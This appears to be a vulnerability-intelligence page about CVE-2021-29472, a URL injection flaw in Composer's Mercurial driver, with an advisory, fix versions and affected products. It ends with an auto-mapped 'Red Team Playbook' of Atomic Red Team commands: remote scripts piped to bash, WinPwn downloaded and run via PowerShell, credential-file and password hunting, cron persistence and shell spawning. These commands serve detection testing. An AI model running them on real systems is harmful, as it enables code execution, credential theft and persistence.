CVE-2021-29472
Overview
This vulnerability is a code injection flaw rooted in improper sanitization of URLs used in Mercurial (Hg) repository interactions within Composer's VcsRepository and HgDriver components. Specifically, URLs in the root composer.json and package source download parameters are not correctly validated, allowing injection of malicious commands when Mercurial is installed on the host system. The flaw arises from unsafe handling of user-supplied URL input passed to the HgDriver, enabling execution of arbitrary code in the context of Composer's version control operations.
Vulnerability Description
Composer is a dependency manager for PHP. URLs for Mercurial repositories in the root composer.json and package source download URLs are not sanitized correctly. Specifically crafted URL values allow code to be executed in the HgDriver if hg/Mercurial is installed on the system. The impact to Composer users directly is limited as the composer.json file is typically under their own control and source download URLs can only be supplied by third party Composer repositories they explicitly trust to download and execute source code from, e.g. Composer plugins. The main impact is to services passing user input to Composer, including Packagist.org and Private Packagist. This allowed users to trigger remote code execution. The vulnerability has been patched on Packagist.org and Private Packagist within 12h of receiving the initial vulnerability report and based on a review of logs, to the best of our knowledge, was not abused by anyone. Other services/tools using VcsRepository/VcsDriver or derivatives may also be vulnerable and should upgrade their composer/composer dependency immediately. Versions 1.10.22 and 2.0.13 include patches for this issue.
Impact
An attacker with the ability to supply malicious Mercurial repository URLs to Composer can achieve remote code execution on the host system where Composer and Mercurial are installed. This requires that the attacker can influence composer.json or source download URLs processed by Composer, typically through third-party repository inputs. The vulnerability is exploitable remotely over the network without user interaction (CVSS vector AV:N/AC:L/PR:L/UI:N), enabling compromise of services that automate dependency management, potentially leading to unauthorized code execution and system control.
Solution
Users should upgrade Composer to versions 1.10.22 or 2.0.13 or later, which include patches for this issue. Debian users should apply the fixes outlined in Debian Security Advisory DSA-4907 (https://www.debian.org/security/2021/dsa-4907). Fedora users should refer to Fedora package announcements (https://lists.fedoraproject.org/archives/list/[email protected]/message/FAQUAMGO4Q4BLNZ2OH4CXQD7UK4IO2GE/). Additional details and patch instructions are available in the official Composer security advisory (https://github.com/composer/composer/security/advisories/GHSA-h5h8-pc6h-jvvx).
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Composer dependency manager for PHP arises from improper sanitization of URLs for Mercurial repositories within the root composer.json file and package source download URLs. This flaw allows an attacker to craft malicious URL values that can lead to the execution of arbitrary code in the HgDriver, provided that Mercurial is installed on the target system. The core issue lies in the fact that Composer does not adequately validate user input for these URLs, which can be exploited by malicious actors to inject harmful code into the Composer execution environment. This vulnerability primarily affects services that process user input and pass it to Composer, such as Packagist.org and Private Packagist, rather than individual users who typically control their composer.json files.
Exploitation of this vulnerability can occur through various attack vectors. For instance, an attacker could create a malicious Composer package that includes a crafted URL in its composer.json file. If a user installs this package from a trusted repository, the malicious URL could trigger the execution of arbitrary code on the user's system. Additionally, services that allow users to submit their own packages or modify existing ones could be targeted, leading to a wider impact if these services do not implement strict input validation. The potential for remote code execution poses a significant risk, as it could allow attackers to gain control over the affected systems, leading to further compromise or data exfiltration.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Composer for managing PHP dependencies. If exploited, the vulnerability could lead to unauthorized access to sensitive data, disruption of services, and potential reputational damage. Businesses that utilize Composer in their software development processes must recognize that the risk extends beyond individual developers; it encompasses the entire supply chain of software components. The rapid response from Packagist.org and Private Packagist to patch the vulnerability indicates the seriousness of the issue, but the fact that it could have been exploited underscores the importance of vigilance in dependency management.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that all instances of Composer are updated to the latest patched versions, specifically 1.10.22 and 2.0.13, to eliminate the vulnerability. Additionally, organizations should conduct regular security audits of their Composer dependencies and the repositories they trust. Implementing strict input validation and sanitization for any user-submitted data is essential, especially for services that interface with Composer. Monitoring logs for unusual activity related to Composer operations can also help identify potential exploitation attempts early.
In conclusion, the vulnerability in Composer highlights the critical need for robust security practices in dependency management. The potential for remote code execution through improperly sanitized URLs poses significant risks to organizations that utilize Composer and its associated services. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can take proactive measures to protect their systems and maintain the integrity of their software supply chains. Continuous vigilance, timely updates, and stringent validation processes are key components in mitigating the risks associated with such vulnerabilities.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-29472, rising by over 30% in recent assessments. This upward trend, coupled with a near doubling of the 7-day EPSS trajectory, indicates growing confidence in the exploitability of this vulnerability within the threat actor community. Although no new exploit techniques or proof-of-concept code have surfaced in our telemetry, the heightened EPSS suggests an elevated likelihood that adversaries may begin leveraging this flaw more aggressively, particularly in environments where Mercurial is installed alongside Composer. For defenders, this shift underscores the urgency of reassessing exposure, as the increased EPSS reflects a tangible rise in potential attack attempts, even absent confirmed exploit campaigns. Consequently, the risk profile for CVE-2021-29472 has intensified from a theoretical concern to a more imminent threat, warranting closer monitoring despite the absence of direct exploitation evidence at this time.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Getcomposer | Composer | All |
cpe:2.3:a:getcomposer:composer:*:*:*:*:*:*:*:*
|
|
|
Getcomposer | Composer | All |
cpe:2.3:a:getcomposer:composer:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 9.0 |
cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 33 |
cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 34 |
cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.